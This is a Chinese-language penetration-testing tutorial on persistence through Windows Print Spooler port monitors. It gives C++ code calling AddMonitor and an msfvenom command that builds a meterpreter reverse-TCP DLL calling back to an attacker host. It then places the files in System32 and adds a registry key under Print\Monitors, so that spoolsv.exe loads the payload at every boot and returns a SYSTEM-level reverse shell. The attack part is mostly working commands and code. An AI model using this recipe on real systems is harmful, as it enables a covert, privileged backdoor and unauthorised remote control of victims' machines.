项目地址
https://github.com/Al1ex/Monitor
项目说明
用于实现后渗透测试阶段权限维持
项目使用
Step1:下载该项目,之后使用VS编译Monitor.cpp,当然也可以使用编译好的,Monitor.cpp代码如下所示:
#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");
TCHAR name[12] = TEXT("Monitor");
TCHAR dll[12] = TEXT("test.dll");
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
- pName //监视器名称
- pEnvironment //环境架构
- pDLLName //监视器DLL文件的名称
Step 2:使用Msfvenom生成dll攻击载荷:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.25.138 LPORT=4444 -f dll > test.dll
然后我们复制到我们的桌面上
然后我们都把test.dll 以及编译好的Monitor.exe文件 同时都放到 C:\Windows\System32 这个目录下
然后我们在kail开启监听模块
然后我们再目标主机上运行monitor.exe文件
然后返回我么的kail
发现这边我们已经拿到了meterpreter权限
我们当然每次都不用执行这个操作
持久化实现
为了实现持久性,我们需要在"Monitors"注册表位置下设置一个key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
之后在命令行下执行以下命令创建一个注册表项,该注册表项将包含值test.dll,从编辑器中查看注册表验证密钥是否已创建:
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ
然后我门刷新一下
这里已经存在了
然后我们重新启动客户机 顺便退出
刚重启进入 我们这边就收到了反弹shell
下次重新启动时,spoolsv.exe进程将加载Monitors注册表项中存在并存储在Windows文件夹System32中的所有驱动程序DLL文件,下图演示了Meterpreter会话已建立与Print Spooler服务(SYSTEM)相同级别的特权,并且已从System32文件夹执行了